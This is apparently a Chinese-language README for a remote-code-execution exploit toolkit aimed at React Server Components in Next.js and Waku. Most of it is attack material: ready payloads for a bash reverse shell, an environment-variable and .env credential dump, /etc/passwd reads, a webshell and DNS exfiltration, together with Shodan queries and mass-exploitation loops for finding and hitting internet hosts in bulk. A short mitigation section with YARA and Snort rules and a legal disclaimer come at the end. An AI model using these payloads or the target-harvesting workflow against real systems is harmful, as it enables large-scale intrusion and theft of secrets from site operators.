针对 React Server Components 漏洞的高级 RCE 利用工具包。具有多个预构建负载、Shodan 集成用于目标发现,以及用于授权渗透测试的批量扫描。
本工具包利用 React 服务端组件(RSC)实现中的关键**远程代码执行(RCE)**漏洞,特别针对:
该漏洞利用 RSC 数据处理机制中的原型污染和不安全反序列化,在服务器上实现任意代码执行。
React 服务端组件使用自定义序列化格式在客户端和服务器之间传输数据。漏洞存在于这些框架反序列化和处理特制载荷的方式中。
攻击链:
$X:constructor:constructor 访问 Function 构造函数_prefix 字段中注入任意 JavaScript攻击者 → 恶意 RSC 载荷 → 目标服务器
↓
不安全反序列化
↓
原型链访问
↓
Function 构造函数
↓
⚠️ 实现 RCE ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# 或
yarn install
# 安装 Shodan CLI
pip install shodan
# 使用你的 API 密钥初始化
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# 启动监听器
nc -lvnp 4444
# 执行利用
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [选项]
*--payload 或 --custom 必须提供一个
查看所有载荷:
node rsc-rce-exploit.js --list
输出:
📋 可用载荷:
console - 基础 PoC - 控制台输出
代码: console.log(7*7+1)
reverseShell - 反弹 Shell(bash)
代码: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - 读取 /etc/passwd
代码: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - 导出环境变量
代码: console.log(JSON.stringify(process.env,null,2))
execCommand - 执行系统命令
代码: console.log(require('child_process').execSync('COMMAND').toString())
webshell - 写入 Webshell 到 /tmp
代码: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - 读取 package.json
代码: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS 外带数据
代码: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
执行任意 JavaScript 代码:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# 基础 Next.js
http.component:"Next.js"
# 带 RSC 的 Next.js
http.html:"__next" http.html:"RSC"
# Next.js 开发模式(更容易受攻击)
http.html:"__NEXT_DATA__" http.html:"development"
# 自托管 Next.js(不在 Vercel 上)
http.component:"Next.js" -org:"Vercel"
# 按地理位置目标(法国)
http.component:"Next.js" country:FR
# 渗透测试终极组合
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku 框架
http.html:"waku" http.html:"RSC"
# Waku RSC 端点
http.path:"/RSC/"
使用提供的自动化脚本:
# 扫描并自动测试
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# 搭配自定义载荷
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. 搜索 Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. 测试每个目标
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.js 工具可以测试多个目标:
# 从文件读取
node mass-exploit.js --file targets.txt --payload console --threads 10
# 从 Shodan 读取
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# 保存结果
node mass-exploit.js --file targets.txt --payload console --output results.json
自动化安全测试示例:
# .github/workflows/security-test.yml
name: RSC 安全测试
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
预期输出:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE 漏洞利用工具 - 增强版 ║
║ React 服务端组件代码执行 ║
╚═══════════════════════════════════════════════════════════╝
[*] 开始利用...
[*] 定位 Next.js RSC 端点...
[*] URL: https://vulnerable.example.com
[*] 载荷: console.log(7*7+1)...
[+] 响应状态: 200
[+] 响应体:
50
[*] 利用完成!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
结果:
process.env 变量# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:执行利用
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# 访问 Web Shell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# 设置 Burp Collaborator 或你自己的 DNS 服务器
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# 读取敏感文件
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
更新框架
npm install next@latest
# 或
npm install waku@latest
验证输入
// 验证所有 RSC 载荷
function validateRSCPayload(payload) {
// 实施严格验证
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
内容安全策略
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
在生产环境中禁用 RSC(如不需要)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action 头的使用YARA 规则:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snort 规则:
alert tcp any any -> any any (msg:"RSC RCE 尝试"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| 版本范围 | 状态 | 备注 |
|---|---|---|
| < 0.18.0 | ⚠️ 存在漏洞 | 严重 RCE |
| >= 0.18.0 | ✅ 已修复 | 建议更新 |
欢迎贡献!请遵循以下指南:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)⚠️ 法律免责声明 ⚠️
本工具包仅供授权的安全测试和研究使用。
使用本软件即表示您同意:
1. 仅测试您拥有或具有明确书面权限的系统
2. 遵守所有适用的地方、州、国家和国际法律
3. 不得将此工具用于恶意目的或非法活动
4. 对自己的行为承担全部责任
作者和贡献者:
- 不对因使用本工具造成的任何误用或损害负责
- 不鼓励或纵容非法活动
- 按“现状”提供本工具,不附带任何形式的担保
未经授权访问计算机系统是违法的。
违规者将受到法律最严厉的起诉,包括但不限于:
- 计算机欺诈和滥用法(CFAA)- 美国
- 计算机滥用法 - 英国
- 欧洲网络犯罪公约
- 以及您所在司法管辖区的其他适用法律
使用风险自负。
本项目采用 MIT 许可证 - 详情请见 LICENSE 文件。
MIT 许可证
版权所有 (c) 2024 RSC RCE 漏洞利用工具贡献者
特此免费授予任何获得本软件副本及相关文档文件(“软件”)的人不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许被提供软件的人这样做,但须满足以下条件:
上述版权声明和本许可声明应包含在软件的所有副本或实质性部分中。
本软件按“现状”提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因软件或软件的使用或其他处理引起的或与之相关的任何索赔、损害赔偿或其他责任负责,无论是合同行为、侵权行为还是其他行为。
| 载荷 | 描述 | 用途 |
|---|
console | 基础 PoC(console.log) | 验证漏洞 |
reverseShell | Bash 反弹 Shell | 初始访问 |
readFile | 读取 /etc/passwd | 文件系统访问 |
envDump | 导出环境变量 | 凭证提取 |
execCommand | 执行系统命令 | 任意命令执行 |
webshell | 部署 Express Webshell | 持久化访问 |
exfilPackage | 窃取 package.json | 依赖分析 |
dnsExfil | DNS 外带数据(OOB) | 盲利用 |
| 选项 | 描述 | 必需 |
|---|
--target <url> | 目标 URL | ✅ |
--framework <名称> | 框架:next 或 waku | ❌(默认:next) |
--payload <名称> | 载荷名称(见下文) | ✅* |
--custom <代码> | 自定义 JavaScript 代码 | ✅* |
--lhost <ip> | 你的 IP(用于反弹 Shell) | ❌ |
--lport <端口> | 你的端口(用于反弹 Shell) | ❌ |
--command <命令> | 要执行的命令 | ❌ |
--endpoint <路径> | 自定义 RSC 端点(Waku) | ❌ |
--action-id <ID> | 自定义 next-action ID | ❌ |
--list | 列出可用载荷 | ❌ |
--verbose | 详细输出 | ❌ |
--help | 显示帮助 | ❌ |
| 版本范围 | 状态 | 备注 |
|---|
| < 13.4.0 | ✅ 不受影响 | RSC 默认不启用 |
| 13.4.0 - 13.4.19 | ⚠️ 存在漏洞 | 严重 RCE |
| 13.5.0 - 14.0.4 | ⚠️ 存在漏洞 | 严重 RCE |
| 14.1.0 | ⚠️ 存在漏洞 | 部分缓解 |
| >= 14.1.1 | ✅ 已修复 | 建议更新 |